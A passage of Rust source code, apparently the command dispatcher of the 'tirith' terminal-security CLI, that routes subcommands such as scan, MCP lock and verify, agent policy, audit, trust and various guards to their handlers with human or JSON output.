                // exit code through `cli::pypi_integrity::run`), so it never reaches
                // here.
                PkgAction::Attest { .. } => unreachable!("pkg attest handled above"),
                // `AttestNpm` likewise returns its own exit code through
                // `cli::npm_integrity::run` in an earlier arm, so it never
                // reaches here.
                PkgAction::AttestNpm { .. } => unreachable!("pkg attest-npm handled above"),
            };
            cli::pkg::run(pkg_action)
        }

        Commands::Lab {
            filter,
            non_interactive,
            score,
            format,
            json,
        } => {
            let (_, want_json) = HumanJsonFormat::resolve(format, json);
            // Gate interactivity on both stdout (don't write prompts into a
            // pipe) and stdin (don't block on a closed/redirected stdin).
            let interactive = !non_interactive
                && !want_json
                && is_terminal::is_terminal(std::io::stdout())
                && is_terminal::is_terminal(std::io::stdin());
            cli::lab::run(interactive, filter.as_deref(), want_json, score)
        }

        Commands::Task { action } => match action {
            TaskAction::Check {
                file,
                adapter,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::task::run(file.as_deref(), adapter.as_deref(), json)
            }
        },

        Commands::Attest { action } => match action {
            AttestAction::Build {
                source,
                output,
                execution_receipt,
                out,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::attest::build(cli::attest::BuildArgs {
                    source,
                    output,
                    execution_receipt,
                    out,
                    json,
                })
            }
            AttestAction::VerifyBuild {
                receipt,
                source,
                output,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::attest::verify_build(cli::attest::VerifyBuildArgs {
                    receipt,
                    source,
                    output,
                    json,
                })
            }
            AttestAction::Deployment {
                build_receipt,
                base_url,
                route_map,
                out,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::attest::deployment(cli::attest::DeploymentArgs {
                    build_receipt,
                    base_url,
                    route_map,
                    out,
                    json,
                })
            }
            AttestAction::VerifyDeployment {
                receipt,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::attest::verify_deployment(cli::attest::VerifyDeploymentArgs { receipt, json })
            }
        },

        Commands::Capsule { action } => match action {
            CapsuleAction::Run {
                preset,
                project,
                receipt,
                format,
                json,
                argv,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::capsule_run::run(&preset, &project, receipt.as_deref(), &argv, json)
            }
        },

        Commands::Score {
            url,
            explain,
            format,
            json,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::score::run(&url, json, explain)
        }

        Commands::Diff { url, format, json } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::diff::run(&url, json)
        }

        Commands::Explain {
            rule,
            list,
            category,
            finding,
            fix,
            format,
            json,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::explain::run(
                rule.as_deref(),
                list,
                category.as_deref(),
                finding.as_deref(),
                fix,
                json,
            )
        }

        Commands::Why { format, json } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::why::run(json)
        }

        Commands::Scan {
            path,
            file,
            stdin,
            ci,
            fail_on,
            format,
            json,
            sarif,
            ignore,
            include,
            exclude,
            profile,
        } => {
            let (_, json, sarif) = HumanJsonSarifFormat::resolve(format, json, sarif);
            cli::scan::run(
                path.as_deref(),
                file.as_deref(),
                stdin,
                ci,
                &fail_on,
                json,
                sarif,
                &ignore,
                &include,
                &exclude,
                profile.as_deref(),
            )
        }

        #[cfg(unix)]
        Commands::Fetch {
            url,
            save,
            sha256,
            format,
            json,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            match save {
                Some(path) => cli::fetch::save(&url, &path, sha256, json),
                None => cli::fetch::run(&url, json),
            }
        }

        Commands::Fix {
            shell,
            non_interactive,
            json,
            command,
        } => cli::fix::run(&command, &shell, non_interactive, json),

        Commands::McpServer {
            sanitize_tool_output: _,
            unsafe_unsanitized_tool_output,
        } => cli::mcp_server::run(!unsafe_unsanitized_tool_output),

        Commands::Mcp { action } => match action {
            McpAction::Lock {
                allow_incomplete_configs,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::mcp::lock(json, allow_incomplete_configs)
            }
            McpAction::Verify { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::mcp::verify(json)
            }
            McpAction::Diff { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::mcp::diff(json)
            }
            McpAction::Policy { action } => match action {
                McpPolicyAction::Init {
                    format,
                    json,
                    force,
                } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::mcp::policy_init(json, force)
                }
            },
            McpAction::Explain {
                server,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::mcp::explain(&server, json)
            }
            McpAction::Permissions { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::mcp::permissions(json)
            }
        },

        Commands::Agent { action } => match action {
            AgentAction::Sessions { log, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::agent::sessions(log.as_deref(), json)
            }
            AgentAction::Explain {
                session_id_or_command,
                log,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::agent::explain(&session_id_or_command, log.as_deref(), json)
            }
            AgentAction::Policy { action } => match action {
                AgentPolicyAction::Init {
                    log,
                    force,
                    format,
                    json,
                } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::agent::policy_init(log.as_deref(), force, json)
                }
            },
            AgentAction::Allow {
                kind,
                tool,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::agent::allow(&kind, tool.as_deref(), json)
            }
            AgentAction::Block {
                kind,
                payload,
                command_pattern,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::agent::block(&kind, payload.as_deref(), &command_pattern, json)
            }
            AgentAction::Current { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::agent::current(json)
            }
        },

        Commands::Gateway { action } => match action {
            GatewayAction::Run {
                upstream_bin,
                upstream_arg,
                config,
                filter_output,
                capsule,
                mcp_server_identity,
                approve_descriptors,
            } => cli::gateway::run_gateway_with_options(
                &upstream_bin,
                &upstream_arg,
                &config,
                cli::gateway::GatewayOptions {
                    filter_output,
                    capsule,
                    mcp_server_identity,
                    approve_descriptors,
                },
            ),
            GatewayAction::ValidateConfig { config } => cli::gateway::validate_config(&config),
        },

        Commands::Setup {
            tool,
            scope,
            with_mcp,
            install_zshenv,
            dry_run,
            force,
            update_configs,
        } => cli::setup::run(
            &tool,
            scope.as_deref(),
            with_mcp,
            install_zshenv,
            dry_run,
            force,
            update_configs,
        ),

        Commands::Policy { action } => match action {
            PolicyAction::Init {
                force,
                minimal,
                template,
            } => cli::policy::init(force, minimal, template.as_deref()),
            PolicyAction::Validate {
                path_pos,
                path,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::policy::validate(path_pos.or(path).as_deref(), json)
            }
            PolicyAction::Effective { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::policy::effective(json)
            }
            PolicyAction::Test {
                command,
                file,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::policy::test(command.as_deref(), file.as_deref(), json)
            }
            PolicyAction::Tune {
                from_audit,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::policy::tune(from_audit, json)
            }
        },

        Commands::Rule { action } => match action {
            RuleAction::Test {
                rule,
                input,
                shell,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::rule::test(&rule, &input, &shell, json)
            }
            RuleAction::Validate { path, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::rule::validate(path.as_deref(), json)
            }
            RuleAction::Explain { rule, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::rule::explain(&rule, json)
            }
        },

        Commands::HookEvent {
            integration,
            hook_type,
            event,
            elapsed_ms,
            detail,
        } => cli::hook_event::run(
            &integration,
            &hook_type,
            &event,
            elapsed_ms,
            detail.as_deref(),
        ),

        Commands::Audit { action } => match action {
            AuditAction::Export {
                format,
                since,
                until,
                session,
                action,
                rule_id,
                entry_type,
            } => {
                let format_str = match format {
                    AuditExportFormat::Json => "json",
                    AuditExportFormat::Csv => "csv",
                };
                cli::audit::export(
                    format_str,
                    since.as_deref(),
                    until.as_deref(),
                    session.as_deref(),
                    action.as_deref(),
                    &rule_id,
                    &entry_type,
                )
            }
            AuditAction::Stats {
                session,
                format,
                json,
                entry_type,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::audit::stats(session.as_deref(), json, &entry_type)
            }
            AuditAction::Report {
                format,
                since,
                entry_type,
            } => {
                let format_str = match format {
                    AuditReportFormat::Markdown => "markdown",
                    AuditReportFormat::Json => "json",
                    AuditReportFormat::Html => "html",
                };
                cli::audit::report(format_str, since.as_deref(), &entry_type)
            }
            AuditAction::Verify {
                expected_head,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::audit::verify(expected_head.as_deref(), json)
            }
        },

        Commands::Receipt { action } => match action {
            ReceiptAction::Last { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::receipt::last(json)
            }
            ReceiptAction::List { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::receipt::list(json)
            }
            ReceiptAction::Verify {
                sha256,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::receipt::verify(&sha256, json)
            }
        },

        Commands::Checkpoint { action } => match action {
            CheckpointAction::Create {
                paths,
                trigger,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::checkpoint::create_checkpoint(&paths, trigger.as_deref(), json)
            }
            CheckpointAction::List { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::checkpoint::list_checkpoints(json)
            }
            CheckpointAction::Restore { id, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::checkpoint::restore_checkpoint(&id, json)
            }
            CheckpointAction::Diff { id, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::checkpoint::diff_checkpoint(&id, json)
            }
            CheckpointAction::Purge { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::checkpoint::purge_checkpoints(json)
            }
            CheckpointAction::Watch {
                paths,
                with_net_hints,
                format,
                json,
                command,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::checkpoint::watch(&command, &paths, with_net_hints, json)
            }
        },

        Commands::Pending { action } => match action {
            PendingAction::List { json } => cli::pending::list(json),
            PendingAction::Resolve { id, action, reason } => {
                cli::pending::resolve(&id, &action, reason)
            }
            PendingAction::Export { output } => cli::pending::export(output),
        },

        Commands::Activate { key } => cli::license_cmd::activate(&key),

        Commands::License {
            action,
            format,
            json,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            match action {
                None => cli::license_cmd::show(json),
                Some(LicenseAction::Deactivate) => cli::license_cmd::deactivate(),
                Some(LicenseAction::Refresh) => cli::license_cmd::refresh(),
            }
        }

        Commands::Trust { action } => match action {
            TrustAction::Add {
                pattern,
                rule,
                ttl,
                permanent,
                broad,
                reason,
                scope,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::trust::add(
                    &pattern,
                    rule.as_deref(),
                    ttl.as_deref(),
                    permanent,
                    broad,
                    reason.as_deref(),
                    scope.as_str(),
                    json,
                )
            }
            TrustAction::List {
                rule,
                format,
                json,
                expired,
                scope,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::trust::snapshot_current_trust();
                cli::trust::list(rule.as_deref(), json, expired, scope.as_str())
            }
            TrustAction::Explain {
                pattern,
                scope,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::trust::explain(&pattern, scope.as_str(), json)
            }
            TrustAction::Diff { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::trust::diff(json)
            }
            TrustAction::Remove {
                pattern,
                rule,
                scope,
            } => cli::trust::remove(&pattern, rule.as_deref(), scope.as_str()),
            TrustAction::Last => cli::trust::last(),
            TrustAction::FromLastTrigger { apply } => cli::trust::from_last_trigger(apply),
            TrustAction::Gc {
                expired,
                scope,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::trust::gc(expired, scope.as_str(), json)
            }
            TrustAction::Prune {
                expired,
                scope,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::trust::prune(expired, scope.as_str(), json)
            }
            TrustAction::Audit {
                since,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::trust::audit(since.as_deref(), json)
            }
        },

        Commands::Init {
            shell,
            prompt_status,
        } => cli::init::run(shell.as_deref(), prompt_status),

        // The mutually-exclusive mode flags collapse to one `mode` string; `None` = auto-detect.
        Commands::Onboard {
            repo,
            team,
            ai_agent_heavy,
            apply,
            json,
        } => {
            let mode = if repo {
                Some("repo")
            } else if team {
                Some("team")
            } else if ai_agent_heavy {
                Some("ai-agent-heavy")
            } else {
                None
            };
            cli::onboard::run(mode, apply, json)
        }

        Commands::Dashboard { action } => match action {
            DashboardAction::Export { out, json } => cli::dashboard::export(out.as_deref(), json),
            DashboardAction::Serve { port, json } => cli::dashboard::serve(port, json),
        },

        Commands::PromptStatus {
            short,
            format,
            json,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::prompt_status::run(short, json)
        }

        Commands::Status { json } => cli::status::run(json),

        Commands::Warnings {
            clear,
            session,
            format,
            json,
            summary,
            hidden,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::warnings::run(clear, session.as_deref(), json, summary, hidden)
        }

        Commands::Package { action } => match action {
            PackageAction::Risk {
                ecosystem,
                name,
                path,
                online,
                offline,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::package::risk(&ecosystem, &name, path.as_deref(), online, offline, json)
            }
            PackageAction::Explain {
                ecosystem,
                name,
                path,
                online,
                offline,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::package::explain(&ecosystem, &name, path.as_deref(), online, offline, json)
            }
            PackageAction::Scan {
                installed,
                lockfile,
                path,
                online,
                offline,
                max_installed_entries,
                non_interactive,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::package::scan(
                    installed,
                    lockfile.as_deref(),
                    path.as_deref(),
                    online,
                    offline,
                    max_installed_entries,
                    non_interactive,
                    json,
                )
            }
            PackageAction::Inspect {
                artifact,
                artifact_set,
                installed,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::package::inspect(
                    &artifact,
                    artifact_set.as_deref(),
                    installed.as_deref(),
                    json,
                )
            }
        },

        Commands::Ecosystem { action } => match action {
            EcosystemAction::Scan {
                path,
                online,
                offline,
                installed,
                max_installed_entries,
                non_interactive,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::ecosystem::scan(
                    path.as_deref(),
                    online,
                    offline,
                    installed,
                    max_installed_entries,
                    non_interactive,
                    json,
                )
            }
        },

        Commands::ThreatDb { action } => match action {
            ThreatDbAction::Update { force, background } => {
                cli::threatdb_cmd::update(force, background)
            }
            ThreatDbAction::Status { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::threatdb_cmd::status(json)
            }
            ThreatDbAction::Explain {
                indicator,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::threatdb_cmd::explain(&indicator, json)
            }
            ThreatDbAction::Sources { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::threatdb_cmd::sources(json)
            }
            ThreatDbAction::Health { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::threatdb_cmd::health(json)
            }
            ThreatDbAction::Diff {
                since,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::threatdb_cmd::diff(&since, json)
            }
        },

        Commands::Doctor {
            format,
            json,
            reset_bash_safe_mode,
            fix,
            yes,
            simulate_enter,
            compat,
            bundle,
            quick,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::doctor::run(
                json,
                reset_bash_safe_mode,
                fix,
                yes,
                simulate_enter,
                compat,
                bundle,
                quick,
            )
        }

        Commands::Completions { shell } => cli::completions::run(shell),

        Commands::Lsp => cli::lsp::run(),

        Commands::Manpage => cli::manpage::run(),

        Commands::VerifySelf { format, json } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::selfupdate::verify_self(json)
        }

        Commands::Update {
            allow_unsigned,
            rollback,
            dry_run,
            yes,
            format,
            json,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::selfupdate::update(allow_unsigned, rollback, dry_run, yes, json)
        }

        Commands::Version {
            provenance,
            format,
            json,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::selfupdate::version(provenance, json)
        }

        Commands::View {
            path,
            max_bytes,
            json,
        } => {
            let path_arg = match path.as_deref() {
                None | Some("-") => None,
                Some(p) => Some(std::path::PathBuf::from(p)),
            };
            cli::view::run(path_arg.as_deref(), max_bytes, json)
        }

        Commands::Output { action } => match action {
            OutputAction::Wrap { action } => cli::output_guard::run(&action),
        },

        Commands::Share {
            path,
            target,
            out,
            json,
        } => {
            // value_parser already constrained `target`; this is defensive.
            let audience = match cli::share::parse_audience(&target) {
                Ok(a) => a,
                Err(msg) => {
                    eprintln!("tirith share: {msg}");
                    std::process::exit(2);
                }
            };
            let path_arg = match path.as_deref() {
                None | Some("-") => None,
                Some(p) => Some(std::path::PathBuf::from(p)),
            };
            let out_arg = cli::share::resolve_out_path(out.as_deref());
            cli::share::share(path_arg.as_deref(), out_arg.as_deref(), audience, json)
        }

        Commands::Redact { audience, json } => {
            let aud = match cli::share::parse_audience(&audience) {
                Ok(a) => a,
                Err(msg) => {
                    eprintln!("tirith redact: {msg}");
                    std::process::exit(2);
                }
            };
            cli::share::redact_stdin(aud, json)
        }

        Commands::Clipboard { action } => match action {
            ClipboardAction::Copy {
                path,
                redact,
                audience,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::clipboard::copy(&path, redact, audience.as_deref(), json)
            }
            ClipboardAction::Scan { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::clipboard::scan(json)
            }
            ClipboardAction::Guard { action } => match action {
                GuardAction::InstallService {
                    apply,
                    format,
                    json,
                } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::clipboard::install_service(apply, json)
                }
                GuardAction::UninstallService { format, json } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::clipboard::uninstall_service(json)
                }
                GuardAction::Status { format, json } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::clipboard::status(json)
                }
            },
            ClipboardAction::Daemon {
                foreground,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                if !foreground {
                    eprintln!(
                        "tirith clipboard daemon: --foreground is required (this binary has no background mode; use `tirith clipboard guard install-service` to run under launchd/systemd)"
                    );
                    std::process::exit(2);
                }
                cli::clipboard::daemon_foreground(json)
            }
            ClipboardAction::Watch { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::clipboard::watch(json)
            }
        },

        Commands::Logs { action } => match action {
            LogsAction::Scan { path, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::logs::scan(&path, json)
            }
            LogsAction::Summarize {
                path,
                safe_for_agent,
                max_lines,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::logs::summarize(&path, safe_for_agent, max_lines, json)
            }
            LogsAction::Redact {
                path,
                audience,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::logs::redact(&path, &audience, json)
            }
        },

        Commands::Context { action } => match action {
            ContextAction::Status { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::context::status(json)
            }
            ContextAction::Guard {
                action,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::context::guard(&action, json)
            }
            ContextAction::Label {
                label_key,
                criticality,
                scope,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                let parsed_scope = match cli::context::LabelScope::parse(&scope) {
                    Some(s) => s,
                    None => {
                        eprintln!(
                            "tirith context label: --scope must be 'user' or 'repo' (got {scope})"
                        );
                        std::process::exit(2);
                    }
                };
                cli::context::label(&label_key, &criticality, parsed_scope, json)
            }
        },

        Commands::Ssh { action } => match action {
            SshAction::Guard {
                action,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::ssh::guard(&action, json)
            }
            SshAction::Label {
                host,
                criticality,
                scope,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                let parsed_scope = match cli::ssh::LabelScope::parse(&scope) {
                    Some(s) => s,
                    None => {
                        eprintln!(
                            "tirith ssh label: --scope must be 'user' or 'repo' (got {scope})"
                        );
                        std::process::exit(2);
                    }
                };
                cli::ssh::label(&host, &criticality, parsed_scope, json)
            }
            SshAction::Bootstrap {
                target,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::ssh::bootstrap_stub(&target, json)
            }
        },

        Commands::Iac { action } => match action {
            IacAction::Guard {
                action,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::iac::guard(&action, json)
            }
            IacAction::CheckPlan {
                plan,
                tool,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::iac::check_plan(&plan, tool.as_deref(), json)
            }
            IacAction::RequirePlanBeforeApply {
                action,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::iac::require_plan_before_apply(&action, json)
            }
        },

        Commands::Sudo { action } => match action {
            SudoAction::Guard {
                action,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::sudo::guard(&action, json)
            }
            SudoAction::Session { action } => match action {
                SudoSessionAction::Start {
                    ttl,
                    reason,
                    format,
                    json,
                } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::sudo::session_start(ttl.as_deref(), reason.as_deref(), json)
                }
                SudoSessionAction::End { format, json } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::sudo::session_end(json)
                }
                SudoSessionAction::Status { format, json } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::sudo::session_status(json)
                }
            },
            SudoAction::RequireReason {
                action,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::sudo::require_reason(&action, json)
            }
        },

        Commands::Devcontainer { action } => match action {
            DevcontainerAction::Guard {
                action,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::devcontainer::guard(&action, json)
            }
            DevcontainerAction::Inject {
                path,
                create,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::devcontainer::inject(path.as_deref(), create, json)
            }
        },

        Commands::Codespaces { action } => match action {
            CodespacesAction::Setup { path, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::codespaces::setup(path.as_deref(), json)
            }
            CodespacesAction::Inject {
                path,
                create,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::codespaces::inject(path.as_deref(), create, json)
            }
        },

        Commands::Hygiene { action } => match action {
            HygieneAction::Scan { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::hygiene::scan(json)
            }
            HygieneAction::Fix {
                dry_run,
                yes,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::hygiene::fix(dry_run, yes, json)
            }
        },
        Commands::Persistence { action } => match action {
            PersistenceAction::Scan { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::persistence::scan(json)
            }
            PersistenceAction::Diff { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::persistence::diff(json)
            }
            PersistenceAction::Watch {
                interval,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::persistence::watch(interval, json)
            }
        },
        Commands::Aliases { action } => match action {
            AliasesAction::Scan {
                include_runtime,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::aliases::scan(include_runtime, json)
            }
            AliasesAction::Explain {
                name,
                include_runtime,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::aliases::explain(&name, include_runtime, json)
            }
        },
        Commands::Env { action } => match action {
            EnvAction::Guard {
                action,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::env_guard::guard(&action, json)
            }
            EnvAction::Diff {
                reset,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::env_guard::diff(reset, json)
            }
            EnvAction::Explain { var, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::env_guard::explain(&var, json)
            }
            EnvAction::Graph {
                installed,
                dot,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                let graph_format = cli::provenance::GraphFormat::resolve(json, dot);
                cli::provenance::run(
                    cli::provenance::GraphTarget::InstalledEnv(installed),
                    graph_format,
                )
            }
            EnvAction::Snapshot => cli::env_guard::snapshot_write(),
        },
        Commands::Exec { action } => match action {
            ExecAction::Check { bin, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::exec::check(&bin, json)
            }
            ExecAction::Provenance { path, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::exec::provenance(&path, json)
            }
            ExecAction::Guard {
                action,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::exec::guard(&action, json)
            }
        },
        Commands::Path { action } => match action {
            PathAction::Audit { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::path::audit(json)
            }
            PathAction::Watch {
                interval,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::path::watch(interval, json)
            }
            PathAction::Which {
                cmd,
                secure,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::path::which(&cmd, secure, json)
            }
        },
        Commands::Hooks { action } => match action {
            HooksAction::Scan { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::hooks::scan(json)
            }
            HooksAction::Guard {
                action,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::hooks::guard(&action, json)
            }
            HooksAction::Explain { name, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::hooks::explain(&name, json)
            }
        },
        Commands::Preview {
            format,
            json,
            command,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::preview::run(&command.join(" "), json)
        }
        Commands::Watch {
            paths,
            with_net_hints,
            format,
            json,
            command,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            // Identical impl to `tirith checkpoint watch` (CheckpointAction::Watch).
            cli::checkpoint::watch(&command, &paths, with_net_hints, json)
        }
        Commands::Taint { action } => match action {
            TaintAction::List { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::taint::list(json)
            }
            TaintAction::Explain { file, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::taint::explain(&file, json)
            }
            TaintAction::Clear {
                file,
                yes,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::taint::clear(&file, yes, json)
            }
        },
        Commands::Intend {
            intent,
            explain,
            format,
            json,
            command,
            shell,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::intent::run(&intent, &command.join(" "), explain, json, &shell)
        }
        Commands::Baseline { action } => match action {
            BaselineAction::Learn { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::baseline::learn(json)
            }
            BaselineAction::Status { format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::baseline::status(json)
            }
            BaselineAction::Reset { yes, format, json } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                cli::baseline::reset(yes, json)
            }
        },
        Commands::CommandCard { action } => match action {
            CommandCardAction::Create {
                command,
                shell,
                expected_domain,
                script_sha256,
                writes,
                requires_sudo,
                expires,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                match shell.parse::<tirith_core::tokenize::ShellType>() {
                    Ok(shell) => cli::command_card::create(
                        command,
                        shell,
                        expected_domain,
                        script_sha256,
                        writes,
                        requires_sudo,
                        expires,
                        json,
                    ),
                    Err(error) => {
                        if json {
                            let _ = cli::write_json_stdout(
                                &serde_json::json!({ "error": error }),
                                "tirith command-card create: failed to write JSON output",
                            );
                        } else {
                            eprintln!(
                                "tirith command-card create: {}",
                                cli::sanitize_for_human_output(&error, false)
                            );
                        }
                        2
                    }
                }
            }
            CommandCardAction::Sign {
                key,
                shell,
                command,
                card,
                format,
                json,
            } => {
                let (_, json) = HumanJsonFormat::resolve(format, json);
                match shell.parse::<tirith_core::tokenize::ShellType>() {
                    Ok(shell) => {
